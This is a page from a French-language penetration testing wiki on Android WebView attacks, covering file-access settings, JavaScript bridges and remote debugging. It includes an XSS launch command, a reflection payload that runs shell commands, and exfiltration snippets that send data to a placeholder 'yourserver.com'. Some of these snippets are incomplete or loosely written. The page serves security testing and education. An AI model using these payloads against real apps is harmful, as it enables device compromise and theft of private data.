hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

19 KiB
Raw Blame History

Attaques sur WebView

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Configurations intéressantes

Vous pouvez identifier un WebView exposé de cette manière :

Accès aux fichiers

L'accès aux fichiers du WebView est activé par défaut. Depuis l'API 3 (Cupcake 1.5), la méthode setAllowFileAccess() est disponible pour l'activer ou le désactiver explicitement.
Si l'application a la permission _android.permission.READ_EXTERNAL_STORAGE _, elle pourra lire et charger des fichiers à partir du stockage externe.
Le WebView doit utiliser un schéma d'URL de fichier, par exemple file://path/file, pour accéder au fichier.

Accès universel à partir d'URL de fichier (obsolète)

Définit si les requêtes entre origines dans le contexte d'une URL de schéma de fichier doivent être autorisées à accéder au contenu de n'importe quelle origine. Cela inclut l'accès au contenu d'autres URL de schéma de fichier ou de contextes web. Notez que certains accès tels que les éléments HTML d'image ne suivent pas les règles de même origine et ne sont pas affectés par ce paramètre.

Ne pas activer ce paramètre si vous ouvrez des fichiers qui peuvent être créés ou modifiés par des sources externes. L'activation de ce paramètre permet aux scripts malveillants chargés dans un contexte file:// de lancer des attaques de script intersites, en accédant à des fichiers locaux arbitraires, y compris les cookies WebView, les données privées de l'application ou même les informations d'identification utilisées sur des sites web arbitraires.

En résumé, cela empêchera le chargement d'origines arbitraires. L'application enverra la demande d'URL pour charger le contenu avec Origin: file:// si la réponse n'autorise pas cette origine (Access-Control-Allow-Origin: file://), alors le contenu ne sera pas chargé.
La valeur par défaut est false lorsque la version ciblée est Build.VERSION_CODES.JELLY_BEAN et supérieure.

{% hint style="info" %} Utiliser loadDataWithBaseURL() avec null comme baseURL empêchera également le chargement de fichiers locaux même si tous les paramètres dangereux sont activés. {% endhint %}

Accès aux fichiers à partir d'URL de fichier (obsolète)

Définit si les requêtes entre origines dans le contexte d'une URL de schéma de fichier doivent être autorisées à accéder au contenu d'autres URL de schéma de fichier. Notez que certains accès tels que les éléments HTML d'image ne suivent pas les règles de même origine et ne sont pas affectés par ce paramètre.

Ne pas activer ce paramètre si vous ouvrez des fichiers qui peuvent être créés ou modifiés par des sources externes. L'activation de ce paramètre permet aux scripts malveillants chargés dans un contexte file:// d'accéder à des fichiers locaux arbitraires, y compris les cookies WebView et les données privées de l'application.

En résumé, cela empêche JavaScript d'accéder aux fichiers locaux via le protocole file://.
Notez que la valeur de ce paramètre est ignorée si la valeur de getAllowUniversalAccessFromFileURLs() est true.
La valeur par défaut est false lorsque la version ciblée est Build.VERSION_CODES.JELLY_BEAN et supérieure.

Accès aux fichiers

Active ou désactive l'accès aux fichiers dans WebView. Notez que cela active ou désactive uniquement l'accès au système de fichiers. Les ressources et les actifs restent accessibles en utilisant file:///android_asset et file:///android_res.

En résumé, si désactivé, le WebView ne pourra pas charger un fichier local avec le protocole file://.
La valeur par défaut est false lors du ciblage de Build.VERSION_CODES.R et supérieur.

WebViewAssetLoader

Classe d'aide pour charger des fichiers locaux, y compris les ressources et les actifs statiques de l'application, en utilisant des URL http(s):// à l'intérieur d'une classe WebView. Le chargement de fichiers locaux à l'aide d'URL de type web au lieu de "file://" est souhaitable car il est compatible avec la politique de même origine.

C'est la nouvelle méthode recommandée pour charger des fichiers locaux. L'objectif est d'accéder aux fichiers locaux en utilisant une URL HTTP avec le domaine. De cette manière, la CORS peut être facilement maintenue entre les pages web locales et les pages web téléchargées depuis le serveur web.

Activation de JavaScript

Les WebViews ont JavaScript désactivé par défaut. La méthode setJavaScriptEnabled() permet d'activer ou de désactiver explicitement JavaScript.
Notez que les webviews peuvent également prendre en charge le schéma intent qui permet de lancer d'autres applications. Lisez cet article pour savoir comment passer de XSS à RCE.

Voici un exemple de WebView exposé vulnérable à XSS via le paramètre "support_url" (qui peut indiquer l'URL à charger dans le WebView) :

Il est possible d'exploiter cette vulnérabilité depuis adb avec quelque chose comme :

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"

{% endcode %}

Pont JavaScript

Android offre une façon pour le JavaScript exécuté dans un WebView d'appeler et d'utiliser les fonctions natives d'une application Android (annotées avec @JavascriptInterface) en utilisant la méthode addJavascriptInterface. Cela est connu sous le nom de pont JavaScript WebView ou pont natif.

Veuillez noter que lorsque vous utilisez addJavascriptInterface, vous accordez explicitement l'accès à l'objet Interface JavaScript enregistré à toutes les pages chargées dans ce WebView. Cela implique que si l'utilisateur navigue en dehors de votre application ou de votre domaine, toutes les autres pages externes auront également accès à ces objets Interface JavaScript, ce qui peut présenter un risque potentiel pour la sécurité si des données sensibles sont exposées via ces interfaces.

Attention : Faites très attention aux applications ciblant les versions d'Android antérieures à Android 4.2 (niveau d'API 17) car elles sont vulnérables à une faille dans la mise en œuvre de addJavascriptInterface : une attaque qui abuse de la réflexion, ce qui entraîne l'exécution de code à distance lorsque du JavaScript malveillant est injecté dans un WebView. Cela était dû au fait que toutes les méthodes d'objet Java étaient accessibles par défaut (au lieu de seulement celles annotées).

Analyse statique

//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Avec accès au code JavaScript, par exemple, via une attaque XSS stockée, une attaque MITM ou un site web malveillant chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.

{% hint style="info" %} Notez que dans le cas de tentative d'exploitation de cette vulnérabilité via une redirection ouverte vers une page web d'un attaquant qui accède à l'objet Android natif. Si l'accès à la redirection se fait via un navigateur mobile et non en utilisant le même WebView, le navigateur ne pourra pas accéder à l'objet Android natif. {% endhint %}

Si addJavascriptInterface est nécessaire, prenez en compte les considérations suivantes :

  • Seul le JavaScript fourni avec l'APK devrait être autorisé à utiliser les ponts, par exemple en vérifiant l'URL sur chaque méthode Java reliée (via WebView.getUrl).
  • Aucun JavaScript ne doit être chargé à partir de points d'extrémité distants, par exemple en maintenant la navigation de la page dans les domaines de l'application et en ouvrant tous les autres domaines dans le navigateur par défaut (par exemple, Chrome, Firefox).
  • Si nécessaire pour des raisons de compatibilité (par exemple, pour prendre en charge les anciens appareils), définissez au moins le niveau d'API minimal sur 17 dans le fichier manifeste de l'application (<uses-sdk android:minSdkVersion="17" />).

Pont JavaScript vers RCE via Reflection

Comme indiqué dans cette recherche (consultez-la pour des idées au cas où vous obtiendriez une RCE), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir une RCE via Reflection en utilisant une charge utile comme celle-ci :

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

Cependant, les applications modernes peuvent utiliser l'annotation @JavascriptInterface qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être exposée. Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.

Débogage à distance

Le débogage à distance de WebView permet d'accéder à la WebView avec les outils de développement Chrome.
Le dispositif doit être accessible par le PC (via USB, émulateur local, réseau local...) et exécuter la WebView en mode débogage, puis accéder à chrome://inspect/#devices :

Sélectionnez inspecter et une nouvelle fenêtre s'ouvrira. Dans cette fenêtre, vous pouvez interagir avec le contenu de la WebView et même lui faire exécuter du code JS arbitraire depuis l'onglet console :

Pour activer le débogage à distance de WebView, vous pouvez faire quelque chose comme :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

Ce paramètre s'applique à tous les WebViews de l'application.

{% hint style="info" %} Le débogage WebView n'est pas affecté par l'état du drapeau debuggable dans le manifeste de l'application. Si vous souhaitez activer le débogage WebView uniquement lorsque debuggable est true, testez le drapeau lors de l'exécution. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Charges utiles

Exfiltrer des fichiers arbitraires

Les charges utiles sont des morceaux de code malveillant qui sont injectés dans une application pour exploiter ses vulnérabilités. L'une des attaques courantes consiste à exfiltrer des fichiers arbitraires à partir de l'application cible.

Pour exfiltrer des fichiers, vous pouvez utiliser les méthodes suivantes :

  1. Injection de JavaScript : Si l'application utilise une WebView pour afficher du contenu Web, vous pouvez injecter du code JavaScript pour accéder aux fichiers locaux de l'application et les envoyer à un serveur distant.

    var file = "/data/data/com.example.app/files/myfile.txt";
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://yourserver.com/upload?file=" + file, true);
    xhr.send();
    
  2. Utilisation de l'API Java : Si l'application expose des interfaces Java personnalisées, vous pouvez utiliser ces interfaces pour accéder aux fichiers locaux et les envoyer à un serveur distant.

    File file = new File("/data/data/com.example.app/files/myfile.txt");
    FileInputStream fis = new FileInputStream(file);
    byte[] buffer = new byte[(int) file.length()];
    fis.read(buffer);
    fis.close();
    // Envoyer le fichier à un serveur distant
    
  3. Utilisation d'une bibliothèque tierce : Si l'application utilise une bibliothèque tierce qui permet l'accès aux fichiers locaux, vous pouvez utiliser cette bibliothèque pour exfiltrer les fichiers.

    File file = new File("/data/data/com.example.app/files/myfile.txt");
    ThirdPartyLibrary library = new ThirdPartyLibrary();
    library.uploadFile(file);
    

Il est important de noter que l'exfiltration de fichiers arbitraires est une violation de la vie privée et peut être illégale. Vous devez toujours obtenir une autorisation appropriée avant de procéder à de telles actions lors d'un test de pénétration.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Références

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥